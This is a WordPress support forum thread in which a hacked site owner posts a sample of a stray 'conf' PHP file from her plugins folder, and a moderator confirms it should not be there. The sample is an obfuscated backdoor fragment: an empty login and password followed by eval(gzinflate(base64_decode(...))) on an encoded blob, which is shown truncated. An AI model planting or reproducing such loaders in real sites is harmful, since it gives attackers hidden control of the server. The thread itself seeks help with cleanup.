WordPress.org

Ready to get started?Download WordPress

Forums

conf PHP in PLugins folder - Is it normal? (4 posts)

  1. allysonashley
    Member
    Posted 3 years ago #

    Hi all!

    My site was recently hacked due to an out of date version of wordpress. I isolated some yucky code in the footer- deleted all my files, and have switched hosts. I am working to re implement thematic using my wp-content folder, but I want to make sure that I get all the bugs out before doing so. Everything looks normal with the bad footer code removed, except the PHP file : "conf" in my Plugins folder.

    Here's a sample :"<?PHP
    set_time_limit(0);
    $login = "";
    $pass = "";
    $md5_pass = "";
    eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u++SBvtw5KSMwtG4R2yctd0mBNrlB3QQo4aQKGRgRjTa0xYFw1vVM9ySOMd44sSrPeSG8JPyOyEpK+U0y8d4n2EzI9MDdnlMkLKQQ8ZIYPW3sF4lUFF9gO8AjT5ceta4HM7HkZi7S2yoAAPLD8D7Pn4kD6t1EIkHYORMtJBdqcseuvOO5HcoLJO4b5UENDkOEq25EeU3GFSPIGFBzJVwCzJ"

    Is this normal, or is this bad/fake code also?

    I'm very much NOT fluent in code, so any help would be greatly appreciated!

  2. esmi
    Theme Diva & Forum Moderator
    Posted 3 years ago #

  3. allysonashley
    Member
    Posted 3 years ago #

    Okay, thank you! I was suspecting it to be a little weird! Should there even be a file called "conf" ?

    I'll take a looksy at the rest of the steps.

    Much appreciated!

  4. esmi
    Theme Diva & Forum Moderator
    Posted 3 years ago #

    Should there even be a file called "conf" ?

    No - especially not if it's in the plugin's folder itself (as opposed to being in the folder for a specific plugin. The last 2 links that I gave specifically look at cleaning up these kinds of pseudo files.

Topic Closed

This topic has been closed to new replies.

About this Topic